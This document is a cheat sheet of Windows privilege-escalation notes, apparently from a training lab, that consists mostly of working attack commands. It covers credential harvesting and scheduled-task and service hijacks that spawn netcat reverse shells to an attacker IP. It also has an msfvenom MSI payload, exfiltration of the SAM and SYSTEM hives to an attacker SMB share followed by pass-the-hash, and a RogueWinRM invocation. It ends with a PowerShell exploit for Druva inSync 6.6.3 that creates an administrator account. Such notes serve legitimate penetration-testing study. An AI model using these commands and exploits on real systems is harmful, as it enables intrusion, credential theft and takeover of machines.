For advanced windows exploitation

https://github.com/yeyintminthuhtut/Awesome-Advanced-Windows-Exploitation-References

For post exploitation (Privilege Escalation)

WinPrivEsc

Credential Harvesting

Unattended Windows Installation for Credentials

```
C:\Unattended.xml
C:\Windows\Panther\Unattended.xml
C:\Windows\Panther\Unattended\Unattended.xml
C:\Windows\system32\sysprep.inf
C:\Windows\system32\sysprep\sysprep.xml
```

Powershell History

```
cmd.exe
%userprofile%\AppData\Roaming\Microsoft\Windows\Powershell\PSReadline\ConsoleHost_history.txt
```

Saved Windows Credentials

```
cmdkey /list
runas /savecred /user:admin cmd.exe
```

IIS Config

```
C:\inetpub\wwwroot\web.config
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config
<command> | findstr connectionString
```

Retrieve Credentials from PuTTY

```
reg query
```

HKEY_CURRENT_USER\Software\SimonTatham\PuTTY\Sessions\

/f “Proxy” /s

look for softwares that stores passwords, including browsers, email clients, FTP clients, VNC software etc.

```

**Scheduled tasks**

```

schtasks /query /tn <taskname> /fo <format-type> /v

check for task permissions

icacls <path\to\task>

check for (F) full permissions on the BUILTIN\Users level

echo C:\Path\to\netcat -e cmd.exe <attacker-ip> <port> > <path\to\task>

set up listener on attacking machine

nc -nvlp <port>

schtasks /run /tn <taskname>

#always install elevated

//using msi windows installer files for priv esc

//check registry for:

reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer

reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer

//if both are set, then craft a payload

msfvenom -p windows /x64/shell_reverse_tcp LHOST=<attacking-ip> LPORT=<local-port> -f msi -o malicious.msi

//run the installer using:

msiexec /quiet /qn /i C:\Windows\Temp\malicious.msi

```

**Abusing Service Misconfiguration**

```

Service Control Manager (SCM)

Each service on a Windows machine will have an associated executable which will be run by the SCM whenever a service is started. It is important to note that service executables implement special functions to be able to communicate with the SCM, and therefore not any executable can be started as a service successfully. Each service also specifies the user account under which the service will run.

command: sc <server-name> qc [service-name] <buffer-size>

BINARY_PATH_NAME: path of executable

SERVICE_START_NAME: account used to run the service

Discretionary Access Control List (DACL): indicates who has permission to start, stop, pause, query status, query configuration, or reconfigure the service, amongst other privileges.

//use process hacker

//all service configs are stored at: HKLM\SYSTEM\CurrentControlSet\Services\

ImagePath: path of executable

ObjectName: account used to run the service

Security: subkey for DACL config of a service

Insecure Permissions on Service Executables

sc qc <service-name>

icacls <executable-path>

//if you see modifying permissions for everyone then create a reverse shell with format exe-service and host a server on your <attacking-ip> and wget the rev shell: ***wget http://<attacking-ip>:<port>/reverse_shell.exe***

cd <executable-directory>

replace the real executable service with the reverse shell downloaded:

move original-service.exe original-service.exe.bkp

move C:\Users\<username>\reverse_shell.exe original-service.exe

//switch from powershell to cmd

sc stop <service-name> //sc is an alias for Set-Content

sc start <service-name>

#catch the reverse shell using netcat or socat or whatever you like bleh :p

``````

*Unquoted Service Paths*

//an obscure feature for forcing a service into running arbitrary executables when we directly can't write into service executables

/*While this sounds trivial, most of the service executables will be installed under C:\Program Files or C:\Program Files (x86) by default, which isn't writable by unprivileged users. This prevents any vulnerable service from being exploited. There are exceptions to this rule: - Some installers change the permissions on the installed folders, making the services vulnerable. - An administrator might decide to install the service binaries in a non-default path. If such a path is world-writable, the vulnerability can be exploited. */

//check for BUILT_IN\Users for AD and WD permissions (allows you to create sub directories and files under the queried folder)

//there will be different commands and arguments to be executed if the path file is unquoted, create and place a reverse shell in place of any of the writable directory

sc stop "service name"

sc start "service name"

catch the reverse shell

``````

``````

*Insecure Service Permissions*

Should the service DACL (not the service's executable DACL) allow you to modify the configuration of a service, you will be able to reconfigure the service. This will allow you to point to any executable you need and run it with any account you prefer, including SYSTEM itself.

//use ***accesschk*** from SysInternals suite

***accesschk64.exe -qlc <service-name>*** #check DACL for service

check for SERVICE_ALL_ACCESS in BUILTIN\Users (any user can reconfigure service)

//create a server and transfer a exe-service format reverse shell and place it in the desirable folder

***icacls <path-to-reverse-shell> /grant Everyone:F*** #granting everyone the permission to execute the payload

***sc config <service-name> binPath= "<path-to-reverse-shell>" obj=LocalSystem***

***sc stop <service-name>***

***sc start <service-name>***

//catch the reverse shell with higher privilege

``````

```

**Abusing Dangerous Privileges**

***whoami /priv***

https://learn.microsoft.com/en-us/windows/win32/secauthz/privilege-constants

https://github.com/gtworek/Priv2Admin

```

SeBackup /SeRestore

``````

/* allow users to read and write to any file in the system, ignoring any DACL in place. The idea behind this privilege is to allow certain users to perform backups from a system without requiring full administrative privileges */

//for now, copying SAM and SYSTEM registry hives to obtain the local administrator's password's hash

//check for SeChangeNotifyPrivilege: Enabled (for bypassing traverse checking)

*On Windows Machine*

**reg save hklm\system C:\Users\<username>\system.hive**

**reg save hklm\sam C:\Users\<username>\sam.hive**

On Kali

**mkdir share**

**python3 /opt/impacket/examples/smbserver.py -smb2support -username THMBackup -password CopyMaster555 public share**

On Windows machine

**copy C:\Users\<username>\sam.hive \\<attacker-ip>\public\**

**copy C:\Users\<username>\system.hive \\<attacker-ip>\public\**
``````

On Kali

python3 /opt/impacket/examples/secretsdump.py -sam sam.hive -system system.hive LOCAL

//perform pass the hash

python3 /opt/impacket/examples/psexec.py -hashes <hash> administrator@<ip-address>

``````

**SeTakeOwnership**

``````

//run cmd as admin

whoami /priv

//check for SeTakeOwnership

//abusing utilman.exe which runs with SYSTEM privileges

takeown /f C:\Windows\System32\Utilman.exe

icacls C:\Windows\System32\Utilman.exe /grant <username>:F

copy cmd.exe utilman.exe

//lock the windows session and use ease of access for getting nt/authority level cmd shell

``````

**SeImpersonate/ SeAssignPrimaryToken**

``````

These privileges allow a process to impersonate other users and act on their behalf. Impersonation usually consists of being able to spawn a process or thread under the security context of another user.

Impersonation is easily understood when you think about how an FTP server works. The FTP server must restrict users to only access the files they should be allowed to see.

As attackers, if we manage to take control of a process with SeImpersonate or SeAssignPrimaryToken privileges, we can impersonate any user connecting and authenticating to that process.

In Windows systems, you will find that the LOCAL SERVICE and NETWORK SERVICE ACCOUNTS already have such privileges. Since these accounts are used to spawn services using restricted accounts, it makes sense to allow them to impersonate connecting users if the service needs. Internet Information Services (IIS) will also create a similar default account called "iis apppool\defaultapppool" for web applications.

To elevate privileges using such accounts, an attacker needs the following: 1. To spawn a process so that users can connect and authenticate to it for impersonation to occur. 2. Find a way to force privileged users to connect and authenticate to the spawned malicious process.

The RogueWinRM exploit is possible because whenever a user (including unprivileged users) starts the BITS service in Windows, it automatically creates a connection to port 5985 using SYSTEM privileges. Port 5985 is typically used for the WinRM service, which is simply a port that exposes a Powershell console to be used remotely through the network. Think of it like SSH, but using Powershell.

If, for some reason, the WinRM service isn't running on the victim server, an attacker can start a fake WinRM service on port 5985 and catch the authentication attempt made by the BITS service when starting. If the attacker has SeImpersonate privileges, he can execute any command on behalf of the connecting user, which is SYSTEM.

//on kali

nc -nvlp <port>

//command for windows exploit

<path-for-RogueWinRM>\RogueWinRM.exe -p "<path-to-netcat>\nc64.exe" -a "-e cmd.exe <attacker-ip> <port>"

//catch the reverse shell with nt/authority privileges

``````

```

**Unpatched Software**

```

Software installed on the target system can present various privilege escalation opportunities. As with drivers, organisations and users may not update them as often as they update the operating system. You can use the wmic tool to list software installed on the target system and its versions. The command below will dump information it can gather on installed software (it might take around a minute to finish):

```
wmic product get name,version,vendor
```

Remember that the wmic product command may not return all installed programs. Depending on how some of the programs were installed, they might not get listed here. It is always worth checking desktop shortcuts, available services or generally any trace that indicates the existence of additional software that might be vulnerable.

Once we have gathered product version information, we can always search for existing exploits on the installed software online on sites like exploit-db, packet storm or plain old Google, amongst many others.

``````

Case Study: Druva inSync 6.6.3

The target server is running Druva inSync 6.6.3, which is vulnerable to privilege escalation as reported by Matteo Malvica. The vulnerability results from a bad patch applied over another vulnerability reported initially for version 6.5.0 by Chris Lyne.

The software is vulnerable because it runs an RPC (Remote Procedure Call) server on port 6064 with SYSTEM privileges, accessible from localhost only. If you aren't familiar with RPC, it is simply a mechanism that allows a given process to expose functions (called procedures in RPC lingo) over the network so that other machines can call them remotely.

In the case of Druva inSync, one of the procedures exposed (specifically procedure number 5) on port 6064 allowed anyone to request the execution of any command. Since the RPC server runs as SYSTEM, any command gets executed with SYSTEM privileges.

The original vulnerability reported on versions 6.5.0 and prior allowed any command to be run without restrictions. The original idea behind providing such functionality was to remotely execute some specific binaries provided with inSync, rather than any command. Still, no check was made to make sure of that.

A patch was issued, where they decided to check that the executed command started with the string C:\ProgramData\Druva\inSync4\, where the allowed binaries were supposed to be. But then, this proved insufficient since you could simply make a path traversal attack to bypass this kind of control. Suppose that you want to execute C:\Windows\System32\cmd.exe, which is not in the allowed path; you could simply ask the server to run C:\ProgramData\Druva\inSync4\..\..\..\Windows\System32\cmd.exe and that would bypass the check successfully.

//exploit to be executed in powershell

```
$ErrorActionPreference = "Stop"
```

```
$cmd = "net user pwnd SimplePass123 /add & net localgroup administrators pwnd /add"


$s = New-Object System.Net.Sockets.Socket(
   [System.Net.Sockets.AddressFamily]::InterNetwork,
   [System.Net.Sockets.SocketType]::Stream,
   [System.Net.Sockets.ProtocolType]::Tcp
)
$s.Connect("127.0.0.1", 6064)


$header = [System.Text.Encoding]::UTF8.GetBytes("inSync PHC RPCW[v0002]")
$rpcType = [System.Text.Encoding]::UTF8.GetBytes("$([char]0x0005)`0`0`0")
$command = [System.Text.Encoding]::Unicode.GetBytes("C:\ProgramData\Druva\inSync4\..\..\..\Windows\System32\cmd.exe /c $cmd");
$length = [System.BitConverter]::GetBytes($command.Length);


$s.Send($header)
$s.Send($rpcType)
$s.Send($length)
$s.Send($command)
```

When prompted for credentials, use the pwnd account.

``````

```

- PayloadsAllTheThings - Windows Privilege Escalation
- Priv2Admin - Abusing Windows Privileges
- RogueWinRM Exploit
- Potatoes
- Decoder's Blog
- Token Kidnapping
- Hacktricks - Windows Local Privilege Escalation